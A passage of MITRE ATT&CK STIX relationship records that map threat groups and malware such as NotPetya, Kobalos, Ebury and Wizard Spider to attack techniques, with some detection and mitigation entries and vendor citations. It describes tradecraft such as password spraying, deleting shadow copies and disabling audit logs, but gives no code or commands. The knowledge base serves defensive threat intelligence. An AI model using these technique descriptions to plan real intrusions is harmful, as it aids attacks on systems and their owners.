2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--76ecca4d-15ba-4285-baa9-1cf03799dbeb","created":"2021-09-01T20:53:29.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google Iran Threats October 2021","description":"Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.","url":"https://blog.google/threat-analysis-group/countering-threats-iran/"},{"source_name":"Proofpoint TA453 July2021","description":"Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-04T20:12:58.605Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has identified high-value email accounts in academia, journalism, NGO's, foreign policy, and national security for targeting.(Citation: Proofpoint TA453 July2021)(Citation: Google Iran Threats October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--76ef2eb1-a94c-4dd8-be1e-ccb63d577d9e","created":"2022-06-02T14:54:09.829Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used password spraying attacks to obtain valid credentials.(Citation: SecureWorks August 2019)","modified":"2022-06-02T14:54:09.829Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76f712e1-cc4c-43a2-b6a7-c288ac206aac","type":"relationship","created":"2021-08-31T22:15:50.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-08-31T22:15:50.451Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has performed a time-based anti-debug check before downloading its third stage.(Citation: Talos Lokibot Jan 2021)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--76f9794c-5791-4fe7-b3c8-39dbdee11967","created":"2022-10-13T20:22:29.182Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:22:29.182Z","description":"(Citation: McAfee Honeybee) ","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76fd5c9b-2158-4372-85b6-a6961b68aaed","type":"relationship","created":"2020-03-21T00:43:01.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-21T00:43:01.580Z","relationship_type":"revoked-by","source_ref":"attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7700e443-2a26-43ba-9557-4c6f11bfbde1","type":"relationship","created":"2020-05-18T17:29:30.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky MuddyWater June 2019","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020."},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-08T19:38:02.408Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used HTTP for C2 communications.(Citation: ClearSky MuddyWater June 2019)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77171992-6bae-442a-a790-b22982a29c8d","type":"relationship","created":"2021-09-08T13:40:26.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-09-08T13:40:26.551Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can perform audio surveillance using microphones.(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--771b78fb-4ed1-4c55-b5e8-31775eb60ad2","type":"relationship","created":"2019-03-26T16:19:52.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","source_name":"Talos Nyetya June 2017"},{"source_name":"US-CERT NotPetya 2017","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T17:38:42.272Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) can use two exploits in SMBv1, EternalBlue and EternalRomance, to spread itself to other remote systems on the network.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--771bb993-77b0-4019-906e-b59011943740","type":"relationship","created":"2020-10-20T15:45:24.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T02:57:25.656Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--771be88b-9e5f-467f-81f4-349ddd54fc42","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor changes to client software that do not correlate with known software or patch cycles.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"FireEye EPS Awakens Part 2","url":"https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html","description":"Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ELMER](https://attack.mitre.org/software/S0064) is capable of performing process listings.(Citation: FireEye EPS Awakens Part 2)","modified":"2022-07-26T23:33:26.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--771f6508-5fc0-456e-b827-05365d3b8672","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor for unexpected deletion of a file in order to manipulate external outcomes or hide activity ","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--772089d3-b06e-4e5e-993b-1351f71484e7","type":"relationship","created":"2019-06-21T18:03:31.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:02:01.439Z","description":"[PowerStallion](https://attack.mitre.org/software/S0393) has been used to monitor process lists.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7723037f-0b2e-447b-811a-d18a109570bb","type":"relationship","created":"2019-04-01T21:09:50.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2020-03-30T01:51:57.341Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has used LZMA compression and RC4 encryption before exfiltration.(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77270a5a-c2e7-4cf0-8d73-129758454bcc","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.326Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) lists files in directories.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7727f1e9-4914-4512-a319-3e5758c47602","type":"relationship","created":"2021-10-01T17:28:29.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:28:29.421Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) has the ability to determine if the compromised host is running a 32 or 64 bit OS architecture.(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7728a470-8019-4120-b7a3-59bdcf5f472d","created":"2024-07-12T18:25:16.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T18:26:13.558Z","description":"[FRP](https://attack.mitre.org/software/S1144) can be configured to only accept TLS connections.(Citation: FRP GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--772a4f4f-459d-411f-a8e9-2c453274f684","type":"relationship","created":"2020-05-12T21:44:40.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T22:39:28.858Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) spoofed itself as AlphaZawgyl_font.exe, a specialized Unicode font.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77319ae5-5212-4c1c-a1ff-131e163761f1","created":"2024-09-10T19:51:42.807Z","revoked":false,"external_references":[{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T19:51:42.807Z","description":"[Ebury](https://attack.mitre.org/software/S0377) disables OpenSSH, system (`systemd`), and audit logs (`/sbin/auditd`) when the backdoor is active.(Citation: ESET Ebury May 2024)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7734ffaf-1cd2-40ca-8c0d-9cfd95e8d1ec","created":"2022-05-31T21:51:37.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:36:00.150Z","description":"Use application control where appropriate, especially regarding the execution of tools outside of the organization's security policies (such as rootkit removal tools) that have been abused to impair system defenses. Ensure that only approved security applications are used and running on enterprise systems.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--773a86d4-07a9-4e10-9321-24f3da72ae00","type":"relationship","created":"2021-02-17T19:22:30.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-04-13T19:18:37.191Z","description":"[Conti](https://attack.mitre.org/software/S0575) can retrieve the ARP cache from the local system by using the GetIpNetTable() API call and check to ensure IP addresses it connects to are for local, non-Internet, systems.(Citation: CarbonBlack Conti July 2020) ","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--773ba80b-0dbc-4ed9-9fbb-bcfef08da01d","created":"2022-04-13T21:24:48.548Z","x_mitre_version":"0.1","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) has encrypted its C2 communications using XOR and VEST-32.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T21:44:38.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--773e62aa-8b0a-4ed2-9954-1886c789e926","type":"relationship","created":"2021-08-25T21:30:06.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-18T22:07:00.697Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) can write captured SSH connection credentials to a file under the /var/run directory with a .pid extension for exfiltration.(Citation: ESET Kobalos Jan 2021) ","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--773e99eb-0739-42d3-afaa-aff65e86329d","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2019-07-14T21:04:45.636Z","description":"(Citation: ESET Gazer Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--773efcb6-760f-496f-92e9-2387d04d2c53","type":"relationship","created":"2021-08-03T17:16:17.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.800Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can enumerate the hostname, domain, and IP of a compromised host.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--773f172e-c087-451f-af0d-f3f173736015","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-16T17:15:28.430Z","description":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.(Citation: Mandiant Cloudy Logs 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--773fc200-e44d-4049-b972-043c1e3d9035","created":"2023-08-07T16:04:27.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.656Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used WMIC and vssadmin to manually delete volume shadow copies. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used [Conti](https://attack.mitre.org/software/S0575) ransomware to delete volume shadow copies automatically with the use of vssadmin.(Citation: Mandiant FIN12 Oct 2021) ","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77426812-954b-49dd-9db8-c3aa99113678","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.090Z","description":"(Citation: Symantec Elderwood Sept 